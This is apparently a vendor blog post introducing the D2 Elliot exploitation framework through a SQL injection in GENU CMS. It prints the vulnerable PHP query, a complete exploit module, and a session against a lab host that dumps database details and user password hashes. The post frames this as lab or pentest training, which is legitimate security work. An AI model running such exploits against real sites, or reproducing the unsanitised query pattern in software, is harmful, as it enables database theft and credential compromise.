SQL Injection exploitation with D2 Elliot

This post is an introduction to D2 Elliot, the Web Exploitation Framework, and will focus on its SQL injection capabilities.

As a short disclaimer, for the rest of the article, the keyword "target" defines your lab VM or pentest training instance. The vulnerable application has been taken as a random example from the current landscape of vulnerabilities.

Let's start with a simple use, by exploiting GENU CMS. We will see how a simple SQL injection vulnerability is handled by the framework and is exploited in a matter of seconds.

The vulnerability

The vulnerable code is present in the articles/read.php file:

$sql->query('SELECT ' . TABLE_ARTICLES . '.article_date, ' . TABLE_ARTICLES . '.article_subject, ' . TABLE_ARTICLES . '.article_text, ' . TABLE_USERS . '.user_id, ' . TABLE_USERS . '.user_name
                 FROM ' . TABLE_ARTICLES . ', ' . TABLE_USERS . '
                 WHERE ' . TABLE_ARTICLES . '.user_id = ' . TABLE_USERS . '.user_id
                 AND ' . TABLE_ARTICLES . '.article_id = ' . $_GET['article_id']);
$table_articles = $sql->fetch();

This is easily exploited by reaching the following URL:


How do we implement this exploitation in Elliot?

We create a new exploit and select the appropriate type of exploit, here it's an SQL exploit. The web exploits often share the common attribute of being directed to a particular vulnerable webpage. The vulnerable URL is given and we mark the injection point with the "" pattern. Once the exploit is created, several payloads can be selected, from running a simple SQL query to listing users or dumping the database structure.

from core.templates.exploits import *
class MyExploit(xSQLi):

    uid = 'E-37'

    _extra_description = {
        'name': 'GENU CMS SQL Injection',
        'creation': '2012/04/12',
        'lastupdate': '2013/04/02',
        'description': 'GENU CMS sqli (read.php)',
        'comment': '',
        'author': ('',),
        'vendor': 'gnew.fr',
        'zeroday': False,
        'published': '',
        'references': (
        'cve': (),
        'vulnid': ('OSVDB-80971',),
        'platform': Platform.All,
        'application': 'GENU CMS',
        'version': ('4',),
        'module': '',
        'requirements': {},
        'payload': Payload.SQL,
        'family': Family.SQLi,
        'googledork': '',
        'stealth': Stealth.Stealth,

    vuln_page_default = 'articles/read.php?article_id=<WRAPPER>'

The <WRAPPER> tag specifies that we want Elliot to determine how to inject; it will therefore detect if we need a quote in before the injection string, a comment at the end, etc; overall, the injection details.
Let's now run some different payloads:

>>> from core import *
>>> es = ExploitationSession()
>>> website = es.kb.add_website('http://vmvuln/GENU-2012.3/')
>>> attack = Attack('E-37', {}, 'SQL Query', {'sql': 'SELECT version(), user(), database()'}, es)
>>> attack.do(website)
>>> attack.status
>>> print(attack.exploit_result)
| version()               | user()         | database() |
| 5.5.34-0ubuntu0.12.04.1 | root@localhost | genu       |

That's as simple as that. Let's now spawn a session to run several SQL queries.

>>> attack = Attack('E-37', {}, 'SQL Gate', {}, es)
>>> attack.do(website)
>>> attack.session.pseudo_shell()
[SQLSession @] select user(), version(), database()
| user()         | version()               | database() |
| root@localhost | 5.5.34-0ubuntu0.12.04.1 | genu       |
[SQLSession @] select user_id, user_name, user_password from genu_users;
| user_id | user_name | user_password                            |
| 1       | admin     | 5baa61e4c9b93ffe0688250b6c8f331bdde68fd8 |
| 2       | user1     | ee11cbb19052e40b07aac0ca060c239052e40b07 |
| 3       | user2     | ee11cbb19052e40b07aac0ca060c239052e40b07 |
[SQLSession @]

How does that work?

First, the exploit needs to determine what kind of DBMS is running. The vulnerability is tried in different ways to determine which one of the known DBMS (see here) is the best match. Then, according to the DBMS, it computes some additional parameters, like the way to encode strings to bypass filters.

2014-01-23 14:01:00 - DETAIL     - Configuring MySQL [1 parameter].
2014-01-23 14:01:00 - DETAIL     - Configuration success.
2014-01-23 14:01:00 - DETAIL     - MySQL(encoding='hexadecimal')
2014-01-23 14:01:00 - DETAIL     - [SQL: DBMS fingerprint] MySQL

Then, an injection method must be determined. From the number of injection methods it knows on MySQL (see here as well), Elliot determines the union method would fit the most on this simple case.
It therefore configures its parameters.

2014-01-23 14:01:00 - DETAIL     - Configuring UNION based SQL injection [4 parameters].
2014-01-23 14:01:01 - DETAIL     - Configuration success.
2014-01-23 14:01:01 - DETAIL     - UnionMethod(every_result=False, stack_results=True, displayed_field=1, fields=5)
2014-01-23 14:01:01 - DETAIL     - [SQL: Method fingerprint] UNION based SQL injection

Let's break down these four parameters one by one:

1) fields
First, we need to know how much fields are in the first query, so that the number of fields in our injection matches it.

2) displayed_field
Then Elliot determines one field that is displayed in the page, in order to fetch injection results.

3) every_result
Now comes another important information, which is whether or not every row of the SQL query will be displayed in the web page. Often we encounter code that simply fetches the first result, and throws the other away. If it is the case,Elliot will fetch every result one by one, using in this case the LIMIT operator of MySQL.

4) stack_results
Elliot then verifies if a row stacking method is available; if it is, it will greatly improve performance by reducing HTTP exchanges. Some of you might think about the GROUP_CONCAT() function, which allows to obtain several rows as if they were only one. The main problem of this function is that it is limited to 1024 characters, which is not much when we need to obtain, for instance, the content of a whole table.

Elliot uses an homebrew extraction method, developed for several DBMS, which allows to obtain every single row of a query as one. This method has no limit of size whatsoever, and fetching thousand of rows only takes a single HTTP exchange.

Every parameter can be specified by the user, in the exploit or at runtime, or simply determined by Elliot.


As this article comes to an end, hopefully you can see how easy it is to design and use an exploit with Elliot. The SQL injection engine has been designed to support all kinds of injection, even the most peculiar, and the most advanced. Posts about more advanced exploits will follow, still in the SQL series. Stay posted on twitter

Back to News

Share :   Facebook   Twitter   Google+